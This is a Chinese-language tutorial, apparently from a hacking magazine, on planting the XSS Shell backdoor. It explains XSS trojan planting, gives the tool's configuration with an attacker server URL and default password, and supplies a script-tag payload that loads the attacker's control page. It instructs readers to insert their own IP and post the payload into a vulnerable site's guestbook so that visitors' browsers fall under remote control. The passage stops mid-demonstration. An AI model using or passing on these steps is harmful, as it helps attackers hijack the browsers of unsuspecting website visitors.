XSS跨站脚本攻击属于被动式攻击,对于急于求成的朋友来说,往往不会被重视,而喜欢挂马的朋友则喜爱有加。通过构造特殊的页面,再把调用该页面的代码嵌在被攻击者网站的某一网页中,而当有人浏览该页面时,在后台即已执行了内嵌的代码。对于被调用页面的构造,根据不同的需求功能也不一样。最常见的是挂马,比如利用IE漏洞悄悄在浏览者的计算机上种植木马;而另一种方式则可以利用互动式页面的各种语言(如ASP,PHP,JSP等)来构造一个完全达到自己需求的页面,而不是简单地做一种达到目的的“介质”。
对于第一种攻击来说,问题是显而易见的。你得面临的问题起码有四个,分别是相应的系统漏洞、系统补丁、杀毒软件以及防火墙。也就是说,首先你要保证手上有下载并执行漏洞的利用软件,然后祈祷对方没有及时打补丁的习惯,接着下载了软件开始祈祷杀毒软件别把你的木马给Kill掉,最后在通信的时候希望对方的防火墙别阻拦你;而且木马个头一般不小,在浏览器中执行是有异常症状的(起码我们看黑防的人会起疑心)。而后一种攻击方式则不同了,它基本遵循SQL Injection的最大优点:穿透防火墙。除了网站系统的漏洞外,基本不需要其他条件支持。因为控制端的网页在自己服务器上而非类似WebShell放在目标服务器上,所以即使对方的杀毒软件再厉害也没有用的。说了这么多,今天的主角也该上场了,它就是XSS Shell。
XSS Shell可以作为一个强大的后门和远程管理软件。这个概念首先是由“XSS-Proxy http://xss-proxy.sourceforge.net/”提出的,XSS Shell可以向木马发送请求和接受相关数据,并且以被嵌入代码的页面为后门。这里提醒大家的是,被攻击者不一定是服务器,服务器只是一种介质,真正被攻击的是浏览服务器上我们动过手脚的页面的人。
XSS Shell的配置
XSS Shell解压后在目录下有3个文件夹和两个文件,一个是TXT说明,一个是ASP文档。我们把文件夹xssshell和“xssshell.asp”放在自己的服务器上,db文件夹放在服务器上一个隐蔽或是非Web目录下,确保其不能被HTTP下载。
1) xssshell.asp的配置
打开xssshell.asp,找到“SERVER CONFIG”部分,代码如下所示。
// You XSSShell Server
var SERVER = "http://attacker/";
// This file's name
var ME = SERVER + "xssshell.asp?p=1<%=VicAdd%>" ;
// Connector file (can be in php, cfm, pl etc. just stick with implementation)
var CONNECTOR = SERVER + "xssshell/connector.asp";
// Commands file (can be in php, cfm, pl etc. just stick with implementation)
var COMMANDS_URL = SERVER + "xssshell/commands.asp";
这里用于定义服务器,我们把Server的值换成自己的IP就可以了,如把http://attacker/换成http://127.0.0.1/。为了保险起见,最好再核查一下修改后的Server是否可以让后面的ME、CONNECTOR、COMMANDS_URL的值可行。
2) xssshell/db.asp的配置
这里主要修改数据库的路径和进入管理的密码。
' Password protection added
Option Explicit
'60 minutes
Session.Timeout = 60
'Open In Live Enviroments
'On error resume next
'// DATABASE CONFIGURATION
Const DBPATH = "..\db\shell.mdb"
'Activity check time as seconds
Const Activity = "10"
Const SQLSERVER = False
在“Const DBPATH=”后面修改自己的数据库的地址。管理登录的默认密码是“w00t”,大家可搜索“w00t”后替换为自己的密码。
3)调试成功
该软件还提供了一个“sample_victim”文件夹,从字面上就可以猜出是例子的意思,文件夹里有四个Web页面,其中的default.asp运行后如图1所示。

看似正常的页面,实际上其中已经嵌入了我们需要的代码:<script src="http://127.0.0.1/xssshell.asp?v=336699"></script>。也就是说,以后我们只需要在可以跨站的地方直接输入这段代码就可以了。
图2是XSS Shell的管理页面:http://[YOURHOST]/xssshell/,输入密码后即可进入,VICTIMS下已经显示有一个“受害者”了。由于所有页面都是在自己的计算机上,所以下面我再给大家做个实例演示。

首先确定自己服务器的IP。打开CMD输入IPCONFIG,得知自己的IP为:125.71.*.*,修改<script src="http://127.0.0.1/xssshell.asp?v=336699"></script>为<script src="http:// 125.71.*.*/xssshell.asp?v=336699"></script>。接着打开一个存在跨站漏洞的页面,如图3所示,然后发表留言,如图4所示。
